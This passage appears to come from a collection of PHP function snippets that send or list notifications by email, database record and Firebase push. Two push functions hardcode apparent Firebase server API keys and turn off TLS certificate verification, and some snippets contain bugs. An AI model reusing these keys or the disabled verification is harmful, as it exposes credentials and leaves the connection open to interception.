(!$from_email){\n\t\t\t\t$from_email = get_option('admin_email');\n\t\t\t}\n\t\t\t$message = ihc_replace_constants($message, $u_id, $l_id, $l_id, $dynamic_data);\n\t\t\t$subject = ihc_replace_constants($subject, $u_id, $l_id, $l_id, $dynamic_data);\n\t\t\t$message = stripslashes(htmlspecialchars_decode(ihc_format_str_like_wp($message)));\n\t\t\t$message = apply_filters('ihc_send_notification_filter_message', $message, $u_id, $l_id, $notification_type);\n\t\t\t$message = \"<html><head></head><body>\" . $message . \"</body></html>\";\n\t\t\tif ($subject && $message && $user_email){\n\t\t\t\tif (in_array($notification_type, $admin_case)){\n\t\t\t\t\t/// SEND NOTIFICATION TO ADMIN, (we change the destination)\n\t\t\t\t\t$admin_email = get_option('ihc_notification_email_addresses');\n\t\t\t\t\tif (empty($admin_email)){\n\t\t\t\t\t\t$user_email = get_option('admin_email');\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$user_email = $admin_email;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (!empty($from_email) && !empty($from_name)){\n\t\t\t\t\t$headers[] = \"From: $from_name <$from_email>\";\n\t\t\t\t}\n\t\t\t\t$headers[] = 'Content-Type: text/html; charset=UTF-8';\n\t\t\t\t$sent = wp_mail($user_email, $subject, $message, $headers);\n\t\t\t}\n\t\t}\n\t\t/// PUSHOVER\n\t\tif (ihc_is_magic_feat_active('pushover')){\n\t\t\t$send_to_admin = in_array($notification_type, $admin_case) ? TRUE : FALSE;\n\t\t\trequire_once IHC_PATH . 'classes/Ihc_Pushover.class.php';\n\t\t\t$pushover_object = new Ihc_Pushover();\n\t\t\t$pushover_object->send_notification($u_id, $l_id, $notification_type, $send_to_admin);\n\t\t}\n\t\t/// PUSHOVER\n\t}\n\treturn $sent;\n}", "public function postData()\n {\n $notifModel = new NotificationsModel();\n $getNotif = $notifModel->notifData();\n\n $data = array(\n 'notif' => $getNotif,\n 'status' => true\n );\n\n echo json_encode($data);\n }", "function send_notification($user,$i) {\r\n # get PO1 email address\r\n # @$po_num = string, po1, po2, po3\r\n $usrmgr = instantiate_module('usrmgr');\r\n $row = $usrmgr->get_row(array('username'=>$user));\r\n assert($row);\r\n $row['email'];\r\n\r\n $h = array();\r\n $h['from'] = $GLOBALS['mail_from'];\r\n $h['to'] = $row['email'];\r\n $h['subject'] = 'PO3 Has not accept new project after 7 days from partner '.$this->ds->partner_id[$i];\r\n $h['body'] = <<<__END__\r\nHello $user, PO3 has not accepted this project entered by Partner {$this->ds->partner_id[$i]}\r\n\r\nRegistration Number: {$this->ds->project_id[$i]}\r\nProject Name: {$this->ds->name[$i]}\r\n\r\n--\r\n dswbot\r\n\r\n__END__;\r\n\r\n supermailer($h);\r\n\r\n\r\n }", "public function index()\r\n {\r\n if (!auth()->user()->can('send_notification')) {\r\n abort(403, 'Unauthorized action.');\r\n }\r\n\r\n $business_id = request()->session()->get('user.business_id');\r\n\r\n $customer_notifications = NotificationTemplate::customerNotifications();\r\n\r\n $module_customer_notifications = $this->moduleUtil->getModuleData('notification_list', ['notification_for' => 'customer']);\r\n\r\n if (!empty($module_customer_notifications)) {\r\n foreach ($module_customer_notifications as $module_customer_notification) {\r\n $customer_notifications = array_merge($customer_notifications, $module_customer_notification);\r\n }\r\n }\r\n\r\n foreach ($customer_notifications as $key => $value) {\r\n $notification_template = NotificationTemplate::getTemplate($business_id, $key);\r\n $customer_notifications[$key]['subject'] = $notification_template['subject'];\r\n $customer_notifications[$key]['email_body'] = $notification_template['email_body'];\r\n $customer_notifications[$key]['sms_body'] = $notification_template['sms_body'];\r\n $customer_notifications[$key]['auto_send'] = $notification_template['auto_send'];\r\n $customer_notifications[$key]['auto_send_sms'] = $notification_template['auto_send_sms'];\r\n }\r\n\r\n $supplier_notifications = NotificationTemplate::supplierNotifications();\r\n\r\n $module_supplier_notifications = $this->moduleUtil->getModuleData('notification_list', ['notification_for' => 'supplier']);\r\n\r\n if (!empty($module_supplier_notifications)) {\r\n foreach ($module_supplier_notifications as $module_supplier_notification) {\r\n $supplier_notifications = array_merge($supplier_notifications, $module_supplier_notification);\r\n }\r\n }\r\n\r\n foreach ($supplier_notifications as $key => $value) {\r\n $notification_template = NotificationTemplate::getTemplate($business_id, $key);\r\n $supplier_notifications[$key]['subject'] = $notification_template['subject'];\r\n $supplier_notifications[$key]['email_body'] = $notification_template['email_body'];\r\n $supplier_notifications[$key]['sms_body'] = $notification_template['sms_body'];\r\n $supplier_notifications[$key]['auto_send'] = $notification_template['auto_send'];\r\n $supplier_notifications[$key]['auto_send_sms'] = $notification_template['auto_send_sms'];\r\n }\r\n\r\n\r\n $business_notifications = NotificationTemplate::businessNotifications();\r\n\r\n $module_business_notifications = $this->moduleUtil->getModuleData('notification_list', ['notification_for' => 'business']);\r\n\r\n if (!empty($module_business_notifications)) {\r\n foreach ($module_business_notifications as $module_business_notification) {\r\n $business_notifications = array_merge($business_notifications, $module_business_notification);\r\n }\r\n }\r\n\r\n foreach ($business_notifications as $key => $value) {\r\n $notification_template = NotificationTemplate::getTemplate($business_id, $key);\r\n $business_notifications[$key]['subject'] = $notification_template['subject'];\r\n $business_notifications[$key]['email_body'] = $notification_template['email_body'];\r\n $business_notifications[$key]['sms_body'] = $notification_template['sms_body'];\r\n $business_notifications[$key]['auto_send'] = $notification_template['auto_send'];\r\n $business_notifications[$key]['auto_send_sms'] = $notification_template['auto_send_sms'];\r\n }\r\n\r\n $tags = NotificationTemplate::notificationTags();\r\n\r\n return view('notification_template.index')\r\n ->with(compact('customer_notifications', 'supplier_notifications', 'business_notifications', 'tags'));\r\n }", "function set_notification($type = 'info', $title = 'title', $content = 'content') {\n $_SESSION[temporary] = array(\n 'type' => $type,\n 'title' => $title,\n 'content' => $content\n );\n}", "function wpsp_email_notify( $inquiry_info, $is_operator = false, $is_tour_design = flase ) {\n\t\n\tif ( $is_operator ) {\n\t\t$subject = ( $is_tour_design ) ? esc_html__( 'Tour design:', 'discovertravel' ) . ' ' . $inquiry_info['fullname'] : esc_html__( 'Tour inquiry:', 'discovertravel' ) . ' ' . $inquiry_info['firstname'] . ' ' . $inquiry_info['lastname'];\n\t} else {\n\t\t$subject = get_bloginfo('name') . ' ' . esc_html__( 'Notification', 'discovertravel' );\n\t}\n\t\n\t$guest_email = strip_tags( $inquiry_info['email'] );\n\t$operator_email = ot_get_option('operator-email');\n\t$noreply_email = ot_get_option('noreply-email');\n\t$emailTo = ( $is_operator ) ? $operator_email : $guest_email;\n\t\n\tif ( $is_operator ) {\n\t\t$headers = \"From: \" . $guest_email . \"\\r\\n\";\n\t\t$headers .= \"Reply-To: \" . $guest_email . \"\\r\\n\";\n\t} else {\n\t\t$headers = \"From: \" . $noreply_email . \"\\r\\n\";\n\t}\n\t$headers .= \"MIME-Version: 1.0\\r\\n\";\n\t$headers .= \"Content-Type: text/html; charset=ISO-8859-1\\r\\n\";\n\n\tif ( $is_tour_design ) {\n\t\t$custom_destination = '';\n\t\tforeach ( $inquiry_info['destinations'] as $destination ) :\n\t\t\t$custom_destination .=\t$destination . ', ';\n\t\tendforeach;\n\n\t\t$custom_style = '';\n\t\tforeach ( $inquiry_info['tourstyles'] as $style ) :\n\t\t\t$custom_style .=\t$style . ', ';\n\t\tendforeach;\n\t}\n\t\n\t$body = '<html><body style=\"background-color:#4caf50; padding-bottom:30px;\">';\n\t\n\t$body .= '<table width=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\" bgcolor=\"#333333\"><tbody>';\n \t$body .= '<tr>';\n $body .= '<td align=\"center\" valign=\"top\">';\n \n $body .= '<table width=\"640\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" align=\"center\"><tbody>';\n $body .= '<tr>';\n $body .= '<td width=\"170\" valign=\"middle\" style=\"padding-bottom:10px; padding-top:10px;\">';\n $body .= '<img src=\"'. ot_get_option('custom-logo') . '\">';\n $body .= '</td>';\n $body .= '<td width=\"470\" valign=\"middle\" style=\"padding-bottom:10px; padding-top:10px; text-align:right;\">';\n $body .= '<font style=\"font-size:18px;line-height:18px\" face=\"Arial, sans-serif\" color=\"#ffffff\">' . esc_html__( 'Hotline Support: ', 'discovertravel' ) . '<font color=\"#ffffff\" style=\"text-decoration:none;color:#ffffff\">' . ot_get_option('operator-hotline') . '</font></font>';\n $body .= '<br><font style=\"font-size:14px;line-height:14px\" face=\"Arial, sans-serif\" color=\"#cccccc\"><a href=\"mailto:' . ot_get_option('operator-email') . '\" style=\"text-decoration:none\"><font color=\"#cccccc\">' . ot_get_option('operator-email') . '</font></a></font>';\n $body .= '</td>';\n $body .= '</tr>';\n $body .= '</tbody></table>';\n \n $body .= '</td>';\n $body .= '</tr>';\n $body .= '</tbody></table>';\n\n\t$body .= '<div style=\"max-width:640px; margin: 30px auto 20px; background-color:#fff; padding:30px;\">';\n\t$body .= '<table cellpadding=\"5\" width=\"100%\"><tbody>';\n\t$body .= '<tr>';\n\t$body .= '<td colspan=\"2\">';\n\tif ( $is_operator ) {\n\t\t$body .= '<p>' . esc_html__( 'Dear Operators', 'discovertravel' ) . ',</p>';\n\t\tif ( $is_tour_design ) {\n\t\t\t$body .= '<p>' . esc_html__( 'Please review the tour customized from ', 'discovertravel' ) . ' <strong>' . $inquiry_info['fullname'] . esc_html__( ' listed bellow', 'discovertravel' ) . '</p>';\t\n\t\t} else {\n\t\t\t$body .= '<p>' . esc_html__( 'Please review tour inquiry from ', 'discovertravel' ) . ' <strong>' . $inquiry_info['title'] . ' ' . $inquiry_info['firstname'] . '</strong>' . esc_html__( ' listed bellow', 'discovertravel' ) . '</p>';\t\n\t\t}\n\t\t\t\n\t} else {\n\t\tif ( $is_tour_design ) {\n\t\t\t$body .= '<p>' . esc_html__( 'Dear', 'discovertravel' ) . ' ' . $inquiry_info['fullname'] . ',</p>';\n\t\t} else {\n\t\t\t$body .= '<p>' . esc_html__( 'Dear', 'discovertravel' ) . ' ' . $inquiry_info['title'] . ' ' . $inquiry_info['firstname'] . ',</p>';\t\n\t\t}\n\t\t$body .= '<p>' . esc_html__( 'Thank you very much for your kind interest in booking Tours in Cambodia with', 'discovertravel' ) . ' ' . get_bloginfo('name') . '. ' . esc_html__( 'One of our travel consultants will proceed your request and get back to you with BEST OFFERS quickly.', 'discovertravel' ) . '</p>';\n\t\t$body .= '<p>' . esc_html__( 'Please kindly check all the information of your inquiry again as below:', 'discovertravel' ) . '</p>';\n\t}\n\t$body .= '</td>';\n\t$body .= '</tr>';\n\t$body .= '<tr>';\n\t$body .= '<td colspan=\"2\"><div style=\"border-bottom:1px solid #ccc; padding-bottom:5px;\"><strong>' . ( $is_tour_design ) ? esc_html__( 'Tour design summary:', 'discovertravel' ) : esc_html__( 'Tour inquiry summary:', 'discovertravel' ) . '</strong></div></td>';\n\t$body .= '</tr>';\n\tif ( !$is_tour_design ) {\n\t\t$body .= '<tr>';\n\t\t$body .= '<td style=\"padding-left:30px;width:30%;color:#666666;\"><strong>' . esc_html__( 'Tour name: ', 'discovertravel' ) . '</strong></td>';\n\t\t$body .= '<td width=\"70%\">' . $inquiry_info['tourname'] . ' ' . $inquiry_info['tourday'] . ' ' . esc_html__( 'Days', 'discovertravel' ) . '/' . ($inquiry_info['tourday'] - 1) . ' ' . esc_html__( 'Nights', 'discovertravel' ) . '</td>';\n\t\t$body .= '</tr>';\n\t} else {\n\t\t$body .= '<tr>';\n\t\t$body .= '<td style=\"padding-left:30px;width:30%;color:#666666;\"><strong>' . esc_html__( 'Destinations: ', 'discovertravel' ) . '</strong></td>';\n\t\t$body .= '<td width=\"70%\">' . $custom_destination . '' . $inquiry_info['otherdestination'] . '</td>';\n\t\t$body .= '</tr>';\n\t\t$body .= '<tr>';\n\t\t$body .= '<td style=\"padding-left:30px;width:30%;color:#666666;\"><strong>' . esc_html__( 'Tour styles: ', 'discovertravel' ) . '</strong></td>';\n\t\t$body .= '<td width=\"70%\">' . $custom_style . '</td>';\n\t\t$body .= '</tr>';\n\t}\n\t$body .= '<tr>';\n\t$body .= '<td style=\"padding-left:30px;width:30%;color:#666666;\"><strong>' . esc_html__( 'Will travel as: ', 'discovertravel' ) . '</strong></td>';\n\t$body .= '<td width=\"70%\" style=\"text-transform: capitalize;\">' . $inquiry_info['tourtype'] . '</td>';\n\t$body .= '</tr>';\n\t$body .= '<tr>';\n\t$body .= '<td style=\"padding-left:30px;width:30%;color:#666666;\"><strong>' . esc_html__( 'Total guests: ', 'discovertravel' ) . '</strong></td>';\n\t$body .= '<td width=\"70%\">';\n\tif ( $inquiry_info['tourtype'] == 'solo' ) {\n\t\t$body .= esc_html__( 'Adults:', 'discovertravel' ) . ' 1';\n\t}\n\tif ( $inquiry_info['tourtype'] == 'couple' ) {\n\t\t$body .= esc_html__( 'Adults:', 'discovertravel' ) . ' 2';\n\t}\n\tif ( $inquiry_info['tourtype'] == 'family' || $inquiry_info['tourtype'] == 'group' ) {\n\t\t$body .= esc_html__( 'Adults:', 'discovertravel' ) . ' ' . $inquiry_info['adult'] . ', ';\n\t\t$body .= esc_html__( 'Children:', 'discovertravel' ) . ' ' . $inquiry_info['children'] . ', '; \n\t\t$body .= esc_html__( 'Babies:', 'discovertravel' ) . ' ' . $inquiry_info['kids'];\n\t} // end tour type as family or group\n\t$body .= '</td>';\n\t$body .= '</tr>';\n\t$body .= '<tr>';\n\t$body .= '<td style=\"padding-left:30px;width:30%;color:#666666;\"><strong>' . esc_html__( 'Hotel class: ', 'discovertravel' ) . '</strong></td>';\n\t$body .= '<td width=\"70%\">' . $inquiry_info['tourclass'] . '</td>';\n\t$body .= '</tr>';\n\t$body .= '<tr>';\n\tif ( $inquiry_info['flexibledate'] ) {\n\t\t$body .= '<td style=\"padding-left:30px;width:30%;color:#666666;\"><strong>' . esc_html__( 'Flexible date: ', 'discovertravel' ) . '</strong></td>';\n\t\t$body .= '<td width=\"70%\">' . $inquiry_info['manualdate'] . '</td>';\n\t} else {\n\t\t$body .= '<td style=\"padding-left:30px;width:30%;color:#666666;\"><strong>' . esc_html__( 'Arrive date: ', 'discovertravel' ) . '</strong></td>';\n\t\t$body .= '<td width=\"70%\">' . date(\"d F Y\", strtotime( $inquiry_info['departuredate'] )) . '</td>';\n\t}// end flexible date is checked\n\t$body .= '</tr>';\n\tif ( !empty( $inquiry_info['otherrequest'] ) ) {\n\t$body .= '<tr>';\n\t$body .= '<td valign=\"top\" style=\"padding-left:30px;width:30%;color:#666666;\"><strong>' . esc_html__( 'Special requests: ', 'discovertravel' ) . '</strong></td>';\n\t$body .= '<td width=\"70%\">' . $inquiry_info['otherrequest'] . '</td>';\n\t$body .= '</tr>';\n\t} // end other request\n\t$body .= '<tr>';\n\t$body .= '<td colspan=\"2\"><div style=\"padding-top: 10px; border-bottom:1px solid #ccc; padding-bottom:5px;\"><strong>' . esc_html__( 'Contact info:', 'discovertravel' ) . '</strong></div></td>';\n\t$body .= '</tr>';\n\t$body .= '<tr>';\n\t$body .= '<td style=\"padding-left:30px;width:30%;color:#666666;\"><strong>' . esc_html__( 'Full Name: ', 'discovertravel' ) . '</strong></td>';\n\tif ( $is_tour_design ) {\n\t\t$body .= '<td width=\"70%\"><strong>' . $inquiry_info['fullname'] . '</strong></td>';\n\t} else {\n\t\t$body .= '<td width=\"70%\"><strong>' . $inquiry_info['title'] . ' ' . $inquiry_info['firstname'] . ' ' . $inquiry_info['lastname'] . '</strong></td>';\n\t}\n\t$body .= '</tr>';\n\t$body .= '<tr>';\n\t$body .= '<td style=\"padding-left:30px;width:30%;color:#666666;\"><strong>' . esc_html__( 'Email: ', 'discovertravel' ) . '</strong></td>';\n\t$body .= '<td width=\"70%\">' . $inquiry_info['email'] . '</td>';\n\t$body .= '</tr>';\n\t$body .= '<tr>';\n\t$body .= '<td style=\"padding-left:30px;width:30%;color:#666666;\"><strong>' . esc_html__( 'Phone: ', 'discovertravel' ) . '</strong></td>';\n\t$body .= '<td width=\"70%\">' . $inquiry_info['phone'] . '</td>';\n\t$body .= '</tr>';\n\t$body .= '<tr>';\n\t$body .= '<td style=\"padding-left:30px;width:30%;color:#666666;\"><strong>' . esc_html__( 'Nationality: ', 'discovertravel' ) . '</strong></td>';\n\t$body .= '<td width=\"70%\">' . $inquiry_info['country'] . '</td>';\n\t$body .= '</tr>';\n\t$body .= '</tbody></table>';\n\n\tif ( !$is_operator )\n\t\t$body .= '<br><p><strong>' . esc_html__( 'Tips: ', 'discovertravel' ) . '</strong>' . esc_html__( 'If you submit incorrect information, please contact our travel consultants to change your information by ', 'discovertravel' ) . '<a href=\"mailto:' . ot_get_option('operator-email') . '\">' . ot_get_option('operator-email') . '</a></p>';\n\t\n\t$body .= '<p style=\"padding-top: 10px;\">' . esc_html__( 'Thanks & Best regards,', 'discovertravel') . '</p>';\t\n\n\tif ( !$is_operator ) {\n\t\t$body .= '<p style=\"border-top:1px solid #ccc; padding-top:30px; font-size:12px; color:#666666;\"><strong style=\"font-size:13px; color:#4caf50;\">' . get_bloginfo('name') . '</strong>';\n\t\t$body .= '<br>' . ot_get_option('operator-address');\n\t\t$body .= '<br><strong>' . esc_html__( 'T. ', 'discovertravel' ) . '</strong>' . ot_get_option('operator-phone');\n\t\t$body .= '<br><strong>' . esc_html__( 'E. ', 'discovertravel' ) . '</strong><a href=\"mailto:' . ot_get_option('operator-email') . '\">' . ot_get_option('operator-email') . '</a>';\n\t\t$body .= '<br><strong>' . esc_html__( 'F. ', 'discovertravel' ) . '</strong>' . ot_get_option('operator-fax');\n\t\t$body .= '<br><strong>' . esc_html__( 'W: ', 'discovertravel' ) . '</strong>' . get_bloginfo('wpurl', 'display') . '</p>';\n\t}\n\t$body .= '</div>'; //wrapper\n\t$body .= '</body></html>';\n\t\n\tif ( mail( $emailTo, $subject, $body, $headers ) ){\n\t\tif ( !$is_operator ) {\n\t\t\t$out = '<h3>' . esc_html__( 'Thank you for sending us your inquiry!', 'discovertravel' ) . '</h3>';\n\t\t\t$out .= '<p>' . esc_html__( 'We will contact you within 01 working day. If you have any questions, please kindly contact us at: ', 'discovertravel' );\n\t\t\t$out .= '<br>Email: <a href=\"mailto:' . $operator_email . '\">' . $operator_email . '</a>';\n\t\t\t$out .= '<br><span class=\"hotline\">Hotline: ' . ot_get_option('operator-hotline') . '</span></p>';\n\t\t\t$out .= '<p class=\"note\">Note: To ensure that you can receive a reply from us, Please kindly add the \"' . str_replace( 'http://', '', get_home_url() ) . '\" domain to your e-mail \"safe list\".<br>If you do not receive a response in your \"inbox\" within 12 hours, check your \"bulk mail\" or \"junk mail\" folders.</p>';\n\t\t\techo $out;\n\t\t}\n\t} else {\n\t\tif ( !$is_operator )\n\t\t\techo '<h5>' . esc_html__( 'Sorry, your inquiry cannot be send right now.', 'discovertravel' ) . '</h5><p>' . error_message . '</p>';\n\t}\n}", "public function get_notification_get(){\n $notification = $this->model->getAllwhere('notification');\n\n $resp = array(\n 'rccode' => 1,\n 'message' => 'SUCCESS',\n 'notification' => (!empty($notification) ) ? $notification: [],\n );\n $this->response($resp);\n }", "public function getMailBodyHTML(Notification $notification) : string;", "function sendNotificationEmail($notification) {\n\t\t$userId = $notification->getUserId();\n\t\t$userDao =& DAORegistry::getDAO('UserDAO');\n\t\t$user = $userDao->getUser($userId);\n\t\tAppLocale::requireComponents(array(LOCALE_COMPONENT_APPLICATION_COMMON));\n\n\t\tif ($notification->getIsLocalized()) {\n\t\t\t$params = array('param' => $notification->getParam());\n\t\t\t$notificationTitle = __($notification->getTitle(), $params);\n\t\t\t$notificationContents = __($notification->getContents(), $params);\n\t\t} else {\n\t\t\t$notificationTitle = $notification->getTitle();\n\t\t\t$notificationContents = $notification->getContents();\n\t\t}\n\n\t\timport('classes.mail.MailTemplate');\n\t\t$site =& Request::getSite();\n\t\t$mail = new MailTemplate('NOTIFICATION');\n\t\t$mail->setFrom($site->getLocalizedContactEmail(), $site->getLocalizedContactName());\n\t\t$mail->assignParams(array(\n\t\t\t'notificationTitle' => $notificationTitle,\n\t\t\t'notificationContents' => $notificationContents,\n\t\t\t'url' => $notification->getLocation(),\n\t\t\t'siteTitle' => $site->getLocalizedTitle()\n\t\t));\n\t\t$mail->addRecipient($user->getEmail(), $user->getFullName());\n\t\t$mail->send();\n\t}", "public function actionCreate() {\n\t\t$model = new Notification();\n\t\t$model->created_by = Yii::$app->user->identity->id;\n\n\t\tif ($model->load(Yii::$app->request->post())) {\n\n\t\t\tif ($model->send_to != '') {\n\t\t\t\t$model->send_to = implode(',', $model['send_to']);\n\t\t\t}\n\t\t\t$model->sent_time = date('Y-m-d H:i:s');\n\t\t\t$model->save();\n\t\t\t/*if ($model->save()) {\n\t\t\t\t$send_to = explode(',', $model['send_to']);\n\t\t\t\tforeach ($send_to as $key => $value) {\n\t\t\t\t\tif ($value == 'all') {\n\t\t\t\t\t\t$userId = 'allUser';\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$user = User::find()->where(['id' => $value])->one();\n\t\t\t\t\t\t$userId = $user['phone'];\n\t\t\t\t\t}\n\t\t\t\t\tYii::$app->Utility->pushNotification($userId, $model['notification_name'], $model['content']);\n\t\t\t\t}\n\t\t\t}*/\n\t\t\tYii::$app->getSession()->setFlash('successStatus', 'Data saved successfully!');\n\n\t\t\treturn $this->redirect(['view', 'id' => $model->id]);\n\t\t}\n\n\t\treturn $this->render('create', [\n\t\t\t'model' => $model,\n\t\t]);\n\t}", "public function notification();", "public function notification();", "public function send_push_notification($array_object, $array_severity, $array_origin) {\n // Firebase's API access key\n define('API_ACCESS_KEY', 'AAAAGXtlDLw:APA91bHUj_pChKSg4U0EoMeKANnFopshPrPlTNX2SbeGl1uJVd59uFXonY65v1E9WS6RQFETekqb-DVVZ8HDNZnTVEH8atJSZ8ZgQn_R_lkhxWlLxTm19EfyBIPNJXEb3UghJZ5vX2o3');\n //Push notification title en body\n if ($array_severity == 4) {\n $msg = array\n (\n 'title' => $array_object,\n 'body' => \"Status: Critical\",\n\t\t\t\t'vibrate' => 1,\n\t\t\t\t'sound' => 'default'\n );\n } else if ($array_severity == 3) {\n $msg = array\n (\n 'title' => $array_object,\n 'body' => \"Status: Major\",\n\t\t\t\t'vibrate' => 1,\n\t\t\t\t'sound' => 'default'\n );\n } else if ($array_severity == 2) {\n $msg = array\n (\n 'title' => $array_object,\n 'body' => \"Status: Minor\",\n\t\t\t\t'vibrate' => 1,\n\t\t\t\t'sound' => 'default'\n );\n } else if ($array_severity == 1) {\n $msg = array\n (\n 'title' => $array_object,\n 'body' => \"Status: Warning\",\n\t\t\t\t'vibrate' => 1,\n\t\t\t\t'sound' => 'default'\n );\n }\n // Topic to send push notification to\n\t\tif($array_origin === 'Netxms'){\n\t\t\t$fields = array\n (\n\t\t\t\t'condition' => \"'admin' in topics || 'gebruiker2' in topics\",\n\t\t\t\t'notification' => $msg\n\t\t\t);\n\t\t}\n\t\telse if($array_origin === \"800xA\"){\n\t\t\t$fields = array\n (\n\t\t\t\t'condition' => \"'admin' in topics || 'gebruiker3' in topics\",\n\t\t\t\t'notification' => $msg\n\t\t\t);\n\t\t}\n\n // Header to prepare push notification\n $headers = array\n (\n 'Authorization: key=' . API_ACCESS_KEY,\n 'Content-Type: application/json'\n );\n\n // Send push notification\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_URL, 'https://fcm.googleapis.com/fcm/send');\n curl_setopt($ch, CURLOPT_POST, true);\n curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($fields));\n $result = curl_exec($ch);\n curl_close($ch);\n }", "public function get_portfolio_notification();", "function send_email_notification($action, $post_params, $get_params) {\r\n $to = TO_EMAIL;\r\n $from = FROM_EMAIL;\r\n $subject = '[Рибні місця Рівненщини] Advertisement Notification';\r\n\r\n $message = 'Оновлення рекламних оголошень: ' . date(\"d M Y H:i:s\") . \"\\r\\n\\r\\n\" .\r\n 'Дія: ' . $action . \"\\r\\n\\r\\n\" .\r\n 'GET параметри:'.\"\\r\\n\" . array_implode(\"=\", \"\\r\\n\", $get_params) . \"\\r\\n\\r\\n\" .\r\n 'POST параметри:'.\"\\r\\n\" . array_implode(\"=\", \"\\r\\n\", $post_params) . \"\\r\\n\\r\\n\";\r\n\r\n $headers = 'From: ' . $from . \"\\r\\n\" .\r\n 'Reply-To: ' . $to . \"\\r\\n\" .\r\n 'Content-type: text/plain; charset=utf-8' . \"\\r\\n\" .\r\n 'X-Mailer: PHP/' . phpversion();\r\n\r\n mail($to, $subject, $message, $headers);\r\n}", "function push_notification($operation, $message, $sender_id, $receiver_id, $receiver_role, $sender_role, $item_id){\n\n $data = array(\n \"operation\" => $operation,\n \"message\" => $message,\n \"sender_id\" => $sender_id,\n \"sender_role\" => $sender_role,\n \"receiver_id\" => $receiver_id,\n \"receiver_role\" => $receiver_role,\n \"is_read\" => 0,\n \"created_at\" => date(\"Y-m-d h:i:s\"),\n \"updated_at\" => date(\"Y-m-d h:i:s\"),\n \"item_id\" => $item_id\n );\n\n $insert = $this->db->insert(\"notifications\", $data);\n\n\n if($insert){\n\n $user_tokens = $this->db->get_where(\"fcm_tokens\", array(\"user_id\" => $receiver_id))->result_array();\n $tokens = array_map(function($a) {\n return $a['token'];\n }, $user_tokens);\n\n\n define( 'API_ACCESS_KEY', 'AAAA9i7n8oQ:APA91bHmZPnhn6BQwUGu_Fm9tGptYA0ISIv9QP30iKVhMS4tlAxl3E3KMdsJhUCpchu3AaSQh41G-ln7IZ7yj7cN9qV9f3Cz0aD2JtlayuOhzPBcAES2mtq0sFbddwNCKh7i0Xd4LGRU' );\n /*Data object for android foreground and background / ios forground / Fields can be modified as per requirements*/\n $msg = array('title' => \"Aqualogy\",'message' => $data['message'], 'operation' => $data['operation'], 'content_id'=>$data['item_id'], \"notificationsentfrom\" => \"serverside\");\n /*Notification object for ios background / Fields except body can be modified as per requirements*/\n $notification = array('title' => \"Aqualogy\",'body' =>$data['message'],\"sound\" =>\"default\");\n /*Notification Payload*/\n $fields = array('registration_ids' => $tokens,'notification'=> $notification,'data'=> $msg,'content_available' => true);\n $headers = array('Authorization: key=' . API_ACCESS_KEY,'Content-Type: application/json');\n $ch = curl_init();\n\n curl_setopt( $ch,CURLOPT_URL, 'https://fcm.googleapis.com/fcm/send' );\n curl_setopt( $ch,CURLOPT_POST, true );\n curl_setopt( $ch,CURLOPT_HTTPHEADER, $headers );\n curl_setopt( $ch,CURLOPT_RETURNTRANSFER, true );\n curl_setopt( $ch,CURLOPT_SSL_VERIFYPEER, false );\n curl_setopt( $ch,CURLOPT_POSTFIELDS, json_encode( $fields ) );\n $result = curl_exec($ch);\n\n curl_close( $ch );\n\n }\n \n\n }", "protected function sendNotification(){\n\t\t$events = Event::getEvents(0);\n\t\t\n\t\t\n\t\tforeach($events as $event)\n\t\t{\n\t\t\t\n\t\t\t\n\t\t\t$eventType = $event['eventType'];\n\t\t\t$message = '';\n\t\t\n\t\t\t//notify followers\n\t\t\tif($eventType == Event::POST_CREATED)\n\t\t\t\t$message = $event['raiserName'] . ' added a new post.';\n\t\t\telse if($eventType == Event::POST_LIKED)\n\t\t\t\t$message = $event['raiserName'] . ' liked a post of ' . $event['relatedUserName'];\n\t\t\telse if($eventType == Event::POST_FLAGGED)\n\t\t\t\t$message = $event['raiserName'] . ' flagged a post of ' . $event['relatedUserName'];\n\t\t\telse if($eventType == Event::COMMENT_CREATED)\n\t\t\t\t$message = $event['raiserName'] . ' commented on a post of ' . $event['relatedUserName'];\n\t\t\telse if($eventType == Event::RESTAURANT_MARKED_FAVOURITE)\n\t\t\t\t$message = $event['raiserName'] . ' marked a restaurant as favourite.';\n\t\t\telse if($eventType == Event::USER_FOLLOWED)\n\t\t\t\t$message = $event['raiserName'] . ' is now following ' . $event['relatedUserName'];\n\t\t\n\t\t\tif(!empty($message))\n\t\t\t{\n\t\t\t\t//fetch all followers of the event raiser or related user\n\t\t\t\t$sql = Follower::getQueryForFollower($event['raiserId']);\n\t\t\n\t\t\t\tif($event['relatedUserId'])\n\t\t\t\t\t$sql .= ' OR f.followedUserId =' . $event['relatedUserId'];\n\t\t\n// \t\t\t\t$followers = Yii::app()->db->createCommand($sql)->queryAll(true);\n// \t\t\t\tforeach($followers as $follower)\n// \t\t\t\t{\n// \t\t\t\t\tif($follower['id'] != $event['raiserId'] && $follower['id'] != $event['relatedUserId'])\n// \t\t\t\t\t{\n// // \t\t\t\t\t\t$did = Notification::saveNotification($follower['id'], Notification::NOTIFICATION_GROUP_WORLD, $message, $event['id']);\n// // \t\t\t\t\t\terror_log('DID : => '.$did);\n// \t\t\t\t\t\t//send push notification\n// \t\t\t\t\t\t/**----- commented as no followers will be notified, as suggested by the client\n// \t\t\t\t\t\t$session = Session::model()->findByAttributes(array('deviceToken'=>$follower['deviceToken']));\n// \t\t\t\t\t\tif($session)\n// \t\t\t\t\t\t{\n// \t\t\t\t\t\t$session->deviceBadge += 1;\n// \t\t\t\t\t\t$session->save();\n// \t\t\t\t\t\tsendApnsNotification($follower['deviceToken'], $message, $follower['deviceBadge']);\n// \t\t\t\t\t\t}\n// \t\t\t\t\t\t*****/\n// \t\t\t\t\t}\n// \t\t\t\t}\n\t\t\t}\n\t\t\n\t\t\t//notify the related user\n\t\t\tif($event['relatedUserId'] && $event['relatedUserId'] != $event['raiserId'])\n\t\t\t{\n\t\t\t\tif($eventType == Event::POST_LIKED)\n\t\t\t\t\t$message = $event['raiserName'] . ' liked your post.';\n\t\t\t\telse if($eventType == Event::POST_FLAGGED)\n\t\t\t\t\t$message = $event['raiserName'] . ' flagged your post.';\n\t\t\t\telse if($eventType == 